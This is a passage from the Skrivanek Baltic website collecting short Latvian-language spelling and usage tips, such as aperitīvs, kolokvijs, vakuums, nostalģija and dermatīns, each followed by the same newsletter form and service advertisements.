„phonē” ar nozīmi ‘skaņa’. Tā kā patskanis „o” vārda vidū ir neuzsvērts, nereti šī vārda pareizrakstībā sastopamas kļūdas. Tātad klausīsimies ierakstus magnetofonā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dokumentiem nepieciešams tulkojums vai tūlkojums? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2024-08-26 - URL: https://skrivanek.lv/tulkojums-pret-tulkojums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TULKOJUMS PRET TŪLKOJUMS 1 Vai dokumentiem nepieciešams tulkojums vai tūlkojums? Tulkojot kādu tekstu, mēs iegūstam tulkojumu. Vārdā „tulks” un atvasinājumos, kā „tulkot”, „tulkojums”, ir savienojums „ul”, kur līdzskaņa „l” dēļ patskanis „u” izklausās garš līdzīgi kā vārdos „gulbis”, „gulta”, „stulbs” utt. Tātad dokumentiem vajadzīgs tulkojums; lasīsim labus romānu tulkojumus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pirms maltītes baudīsim aperatīvu vai aperetīvu, vai varbūt aperitīvu? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/aperativs-pret-aperetivs-pret-aperitivs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APERATĪVS PRET APERETĪVS PRET APERITĪVS 1 Vai pirms maltītes baudīsim aperatīvu vai aperetīvu, vai varbūt aperitīvu? Par aperitīvu sauc alkoholisku dzērienu apetītes rosināšanai. To parasti pasniedz aptuveni stundas ceturksni pirms mielasta. Vārds aizgūts no franču vārda „apéritif”, kas cēlies no latīņu vārda „aperire” ar nozīmi ‘sākt, atvērt’. Vārdā pirms izskaņas rakstāms patskanis „i”: aperitīvs. Pirms maltītes baudīsim aperitīvu, kā aperitīvu pasniegsim kādu augļu kokteili. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kur brauksim ar skuteru, kur – ar skūteri? Uzzini! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-08-13 - URL: https://skrivanek.lv/skuters-pret-skuteris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKUTERS PRET SKŪTERIS 1 Kur brauksim ar skuteru, un kur – ar skūteri? Gan skuters, gan skūteris ir transporta līdzekļi, tikai vienu izmantosim ūdens, bet otru – sauszemes ceļiem. Skuters (angļu „scooter”, „scooter boat”) ir vienvietīga ātrgaitas sporta laiva ar plakanu dibenu un piekarināmu iekšdedzes motoru. Savukārt skūteris (angļu „scooter”) ir neliels mazlitrāžas motorollers. Par skūteri reizumis mēdz saukt arī skrejriteni – stūrējamu, ar kāju stumjamu braukšanas rīku ar plāksni vienas kājas novietošanai –, tomēr skaidrības labad skūteri un skrejriteni nevajadzētu jaukt. Tātad pa upi varam braukt ar skuteru, pa ielu – ar skūteri. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Studentus biedē kolikvijs vai kolokvijs? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2025-03-31 - URL: https://skrivanek.lv/kolikvijs-pret-kolokvijs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOLIKVIJS PRET KOLOKVIJS 1 Vai studentus biedē kolikvijs vai kolokvijs? Zināšanu pārbaudes formu – mācībspēka pārrunas ar studentiem vai rakstu darbu – dēvē par kolokviju. Vārda cilme meklējama latīņu valodā: latīņu vārds „colloquim” nozīmē ‘saruna’. Vārds latviešu valodā rakstāms ar „o”, nevis „i” otrajā zilbē: kolokvijs. Kļūdainais rakstījums, iespējams, radies tāpēc, ka šī zilbe nav uzsvērta un mēs skaidri nedzirdam patskani tās centrā. Tātad varam kārtot kolokviju medicīnā, gatavoties kolokvijam vēsturē u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mazliet par fiziku un ne tikai – vai rakstīsim „vakums” vai „vakuums”? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2024-07-15 - URL: https://skrivanek.lv/vakums-pret-vakuums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAKUMS PRET VAKUUMS 1 Mazliet par fiziku un ne tikai – vai varam radīt vakumu vai vakuumu? Vārds „vakuums” aizgūts no latīņu valodas vārda „vacuum” ar nozīmi ‘tukšums’. Lai gan divu vienādu patskaņu sadura vārda vidū latviešu valodā nav ierasta, jāatceras, ka runājam par svešvārdiem. Latviešu valodā patiešām tas rakstāms ar diviem „u”: „vakuums”. Tātad varam radīt vakuumu ar vakuumsūkni, nodoties vakuuma masāžām utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai masku gājieni ir karnevālu vai karnivālu daļa? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/karnevals-pret-karnivals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KARNEVĀLS PRET KARNIVĀLS 1 Vai masku gājieni ir karnevālu vai karnivālu daļa? Vārds „karnevāls” aizgūts no itāļu valodas vārda „carnevale”, kam pamatā latīņu vārdi „carnem levare” ar nozīmi ‘atņemt gaļu’. Dažādās valodās šo vārdu raksta atšķirīgi, piemēram, vācu valodā – „Karneval”, angļu – „carnival”, spāņu – „carnaval”. Latviešu valodā šī vārda vidū rakstāms patskanis „e”: karnevāls. Tātad varam apmeklēt Venēcijas karnevālu, priecāties par krāšņo Brazīlijas karnevālu utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai žonglierus sastapsim cirkā vai cirkū? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-08-21 - URL: https://skrivanek.lv/cirka-pret-cirku/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CIRKĀ PRET CIRKŪ 1 Vai žonglierus sastapsim cirkā vai cirkū? Vārds „cirks” ir 1. deklinācijas lietvārds – kā vārdi „mārks” vai „zārks”. Kādreiz tas piederējis pie 3. deklinācijas, proti, lietots formā „cirkus” – kā vārdi „ledus” vai „medus”. Kādreizējiem 3. deklinācijas lietvārdiem ir tendence pāriet uz 1. deklināciju – kā vārdiem „krogus” (tagad – „krogs”) vai „strīdus” (tagad –„strīds”). Pēdējos gan vēl varam sastapt frazeoloģiskās vārdkopās vai salikteņos, kā arī terminos: „krogusbrālis”, „krogus dvēsele”, „strīdus procedūra”. Saskaņā ar mūsdienu pareizrakstību vārds „cirks” sastopams tikai kā 1. deklinācijas lietvārds un atbilstoši arī lokāms: „iešu uz cirku”, „vakar biju cirkā”. Tātad žonglierus un akrobātus sastapsim cirkā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai svētkos baudām šampanieti vai šampānieti? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/sampanietis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠAMPANIETIS PRET ŠAMPĀNIETIS 1 Vai svētkos baudām šampanieti vai šampānieti? Šampanietis ir dzirkstošs vīns, ko divreizējas raudzēšanas procesā iegūst no īpašu šķirņu vīnogām. Vārds cēlies no Francijas provinces Šampaņas („Champagne”) nosaukuma. Nereti šo vārdu mēdz izrunāt ar garo patskani „ā” vārda vidū: šampānietis. Tātad dzersim šampanieti gadumijā un baudīsim šampanieti arī citos lielos svētkos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kurš ir dzērājs un kurš – dzērējs? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-09-12 - URL: https://skrivanek.lv/dzerajs-pret-dzerejs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DZĒRĀJS PRET DZĒRĒJS 1 Kurš ir dzērājs un kurš – dzērējs? Dzērājs ir cilvēks, kas bieži lieto kādu dzērienu. To, kurš bieži dzer pienu, sauksim par lielu piena dzērāju, to, kas labprāt bauda alu, dēvēsim par alus dzērāju. Dzērējs ir tas, kurš dzer pašlaik. Tā, piemēram, viesībās, piedāvājot dzērienus, varam jautāt: „Kurš šodien būs sulas dzērējs? ” Tātad parasti esmu ūdens dzērājs, bet šodien esmu sulas dzērējs. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ilgas pēc mājām, seniem laikiem ir "nostalģija" vai "nostaļģija"? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2024-08-20 - URL: https://skrivanek.lv/nostalgija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NOSTALĢIJA PRET NOSTAĻĢIJA 1 Vai mūs pārņem nostalģija vai nostaļģija? Nostalģija nozīmē smeldzīgas ilgas (piem. , pēc dzimtenes, mājām, pagājušā). Vārds cēlies no grieķu vārda „nostos” ar nozīmi ‘atgriešanās’ un „algos” ar nozīmi ‘ciešanas, sāpes’. Šo svešvārdu rakstām nevis ar „ļ” pirms burta „ģ”, kā, piemēram, vārdā „aļģe”, bet gan ar „l”: „nostalģija”. Tiesa, šāds rakstījums ir neierasts, un latviešu valodā tikai daži vārdi rakstāmi ar burtu savienojumu „lģ” (pārsvarā medicīnā), piemēram, „mialģija”, „neiralģija”. Tātad mūs var pārņemt nostalģija pēc mājām, nostalģija pēc seniem laikiem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ko lietojam, gatavojot gardumus? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-11-04 - URL: https://skrivanek.lv/zelatins-pret-zelantins/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŽELATĪNS PRET ŽELANTĪNS 1 Ko lietojam, gatavojot gardumus? Želatīns ir olbaltumvielu produkts, ko iegūst parasti no dzīvnieku kauliem, cīpslām, skrimšļiem un ko izmanto, piem. , pārtikas rūpniecībā. Vārds cēlies no franču vārda „gélatine” ar nozīmi ‘želatīns, receklis’. Nereti vārdu mēdzam rakstīt un izrunāt aplami, ar lieku „n” burtu vārda vidū: želantīns. Kā redzam pēc šī vārda rakstījuma oriģinālvalodā, burts „n” vārdā ir lieks. Tātad iegādāsimies paciņu želatīna, pievienosim želatīnu, gatavojot krēmus u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai grāmatai apliksim dermatīna vai dermantīna vākus? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2024-08-20 - URL: https://skrivanek.lv/dermatins-pret-dermantins/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DERMATĪNS PRET DERMANTĪNS 1 Vai grāmatai apliksim dermatīna vai dermantīna vākus? Dermatīns ir mākslīgā āda – blīvs audums, kas pārvilkts ar sintētisku materiālu. Vārds cēlies no grieķu vārda „dermatinos” ar nozīmi ‘ādas’. Bieži šo vārdu rakstām un izrunājam aplami, ar lieku „n” burtu vārda vidū: dermantīns. Lai gan latviešu valodā bieži sastopams savienojums „an”, piemēram, manta, rangs, tomēr šajā vārdā „n” ir lieks – to rāda arī rakstījums oriģinālvalodā. Tātad grāmatām varam aplikt dermatīna vākus, varam valkāt dermatīna jakas utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ 